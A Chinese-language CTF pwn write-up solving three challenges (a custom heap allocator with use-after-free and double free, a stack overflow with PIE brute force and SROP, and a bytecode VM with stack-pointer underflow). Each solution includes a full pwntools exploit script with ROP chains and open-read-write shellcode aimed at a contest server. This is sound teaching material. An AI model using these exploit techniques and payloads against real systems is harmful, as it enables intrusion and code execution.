malloc

自定义堆内存管理器。

堆块结构:

| Offset | Field          | Description                        |
|---------|----------------|------------------------------------|
| +0      | in_use (1B)    | 1 = allocated, 0 = free            |
| +1..7   | padding        | for 8-byte alignment               |
| +8      | size (4B)      | total size of the chunk            |
| +12..15 | padding        | (align next pointer)               |
| +16     | next (8B)      | pointer to next free chunk         |
| +16     | user data start| returned to caller (malloc result) |

delete 时存在 UAF,且 double free 检测深度只有 13,而我们最多可以申请 16 个堆块。double free 后再多次 create 得到重叠堆块,修改 next 指针得到任意地址(目标地址 - 16)分配,从而任意地址读写。

泄露 libc、stack 基地址后任意分配到栈上写 ROP,返回至提前布置好的 shellcode。程序沙箱禁用 execve 等系统调用,考虑 orw。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='info')
binary = './pwn'
# io = process(binary)
io = connect('45.40.247.139', 18565)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)

# 0x0f < size <= 0x70
def create(index: int, size: int):
    io.sendlineafter(b'=======================\n', b'1')
    io.sendlineafter(b'Index\n', itob(index))
    io.sendlineafter(b'size\n', itob(size))

def delete(index: int):
    io.sendlineafter(b'=======================\n', b'2')
    io.sendlineafter(b'Index\n', itob(index))

def edit(index: int, size: int, content: bytes):
    io.sendlineafter(b'=======================\n', b'3')
    io.sendlineafter(b'Index\n', itob(index))
    io.sendlineafter(b'size\n', itob(size))
    io.send(content)

def show(index: int):
    io.sendlineafter(b'=======================\n', b'4')
    io.sendlineafter(b'Index\n', itob(index))

def exitit():
    io.sendlineafter(b'=======================\n', b'5')

for i in range(15):
    create(i, 0x10)
for i in range(15):
    delete(i)
delete(0) # double free
show(14) # leak heap (elf)
e.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x53a0
print_leaked('elf_base', e.address)
create(0, 0x10)
edit(0, 8, p64(e.sym['stdout'] - 16)) # `next` -> stdout
for _ in range(16):
    create(1, 0x10)
show(1)
libc.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x21b780
print_leaked('libc_base', libc.address)

for i in range(15):
    create(i, 0x20)
for i in range(15):
    delete(i)
delete(0) # double free
create(0, 0x20)
edit(0, 8, p64(libc.sym['environ'] - 16)) # `next` -> environ
for _ in range(16):
    create(1, 0x20)
show(1)
stack_addr = u64(io.recvline(False).ljust(8, b'\x00'))
print_leaked('stack_addr', stack_addr)

for i in range(15):
    create(i, 0x70)
for i in range(15):
    delete(i)
delete(0) # double free
create(0, 0x70)
edit(0, 8, p64(stack_addr - 0x140 - 16)) # `next` -> stack retaddr
for _ in range(16):
    create(1, 0x70)
# gdb.attach(io, 'b *$rebase(0x18F2)')
edit(0, 0x70, asm(f"""
    mov rax, 0x67616c662f
    push rax

    mov rax, __NR_open
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall

    mov rax, __NR_read
    mov rdi, 3
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, __NR_write
    mov rdi, 1
    mov rsi, rsp
    mov rdx, 0x50
    syscall
"""))
edit(1, 0x70, flat([
    libc.search(asm('pop rdi;ret')).__next__(),
    e.address + 0x5000,
    libc.search(asm('pop rsi;ret')).__next__(),
    0x1000,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
    7,
    0,
    libc.sym['mprotect'],
    e.address + 0x56c0
]))

io.interactive()

stack

看起来是堆溢出但其实会栈迁移到堆上,溢出改返回地址爆破 PIE 到 magic。

由于随机数种子来自已知时间,所以可以预测随机数,逆运算得到 PIE 基地址。

最后栈迁移到 bss 段,利用 SROP 和 syscall gadget 实现任意系统调用。程序 seccomp 沙箱禁用了 openexecve 等系统调用,考虑 openat 替代。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'])
binary = './Stack_Over_Flow'
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)

while True:
    global io, elf_base
    io = connect('45.40.247.139', 30871)
    libc_lib = CDLL('/usr/lib/libc.so.6')
    libc_lib.srand(libc_lib.time(0))
    libc_lib.rand() % 5
    libc_lib.rand() % 5
    key = libc_lib.rand() % 5
    try:
        io.sendafter(b'luck!\n', cyclic(0x2000)[:cyclic(0x2000).index(b'qaacraac')] + b'\x5F\x13')
        
        if b'magic' not in io.recvuntil(b':'):
            io.close()
            continue
        e.address = (int(io.recvline(False)) // key) - 0x16b0
        break
    except Exception:
        io.close()
        continue

context.log_level = 'debug'

print_leaked('elf_base', e.address)

syscall = e.address + 0x000000000000134f
fake_stack = e.bss(0x800)

# stack mig
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = fake_stack
frame.rdx = 0x800
frame.rip = syscall
frame.rsp = fake_stack

# gdb.attach(io, 'b *$rebase(0x16A4)')
io.sendafter(b'luck!\n', flat([
    cyclic(0x100),
    0,
    syscall,
    0,
    syscall,
    bytes(frame)
]))
pause()
io.send(cyclic(0xf))

# mprotect
frame = SigreturnFrame()
frame.rax = 10
frame.rdi = fake_stack & ~0xfff
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = syscall
frame.rsp = fake_stack + 0x200

xor_rax_pop_rbp = e.address + 0x00000000000016a0

payload = flat([
    0,
    xor_rax_pop_rbp,
    0,
    syscall,
    0,
    syscall,
    bytes(frame)
])
payload = payload.ljust(0x200, b'\x00')
payload += flat([
    0,
    fake_stack + 0x300
])
payload = payload.ljust(0x300, b'\x00')
payload += asm("""
    push 0x50
    lea rax, [rsp - 0x60]
    push rax

    mov rax, 0x67616c662f
    push rax

    push __NR_openat ; pop rax
    xor rdi, rdi
    push rsp ; pop rsi
    xor rdx, rdx
    xor r10, r10
    syscall
    push rax

    push __NR_readv ; pop rax
    pop rdi
    popf
    push rsp ; pop rsi
    push 1 ; pop rdx
    syscall

    push __NR_writev ; pop rax
    push 1 ; pop rdi
    syscall
""")
pause()
io.send(payload)
pause()
io.send(cyclic(0xf))

io.interactive()

mvmps

SUB SP 时栈指针下溢,PUSH 和 POP 操作变成 ELF 几乎任意地址读写。

不是 PIE,劫持 GOT 即可。读取 read@got 低 4 字节,减去偏移得到 system 地址,将其写回 read@got 低 4 字节,内存中写入 "sh",执行 read 并传入首个参数为 "sh" 地址。指令有四种格式。具体见下方 exp 注释。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vvmm'
# io = process(binary)
io = connect('45.40.247.139', 15101)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)
# gdb.attach(io, 'b *0x401CBF\nb *0x4015AA\nb *0x401CC6\nb *0x402742\nb *0x4025E7\nb *0x4014AF\nb *0x4015CE')

def INST(opcode: int, type: int, *args) -> bytes:
    header = p8(opcode << 2 | type)
    if type == 0:
        return header + p8((args[0] & 0xff0000) >> 16) + p8((args[0] & 0xff00) >> 8) + p8(args[0] & 0xff)
    if type == 1:
        return header + p8(args[0])
    if type == 2:
        return header + p8(args[0]) + p8(args[1])
    if type == 3:
        return header + p8(args[0]) + p32(args[1])
    raise ValueError("Invalid type.")

io.sendafter(b'Please input your opcodes:\n', b''.join([
    INST(0x24, 0, 0x418), # SUB SP (to read@got)
    INST(0x20, 1, 0), # read from elf (read@got)
    INST(0xb, 3, 0, 0xc3a60), # REG SUB (offset of read & system)
    INST(0x1f, 1, 0), # write to elf (system)
    INST(0x3, 3, 1, 0x6873), # LOAD IMM ("sh")
    INST(0x25, 0, 0x30), # ADD SP (arbitrary mem)
    INST(0x1f, 1, 1), # write to elf ("sh")
    INST(0x3, 3, 0, 0x4050fc), # LOAD IMM (arbitrary mem)
    INST(0x33, 0, 0), # SYSCALL (read@plt -> system with arg "sh")
]))

io.interactive()

标签: CTF, Writeup, Pwn

添加新评论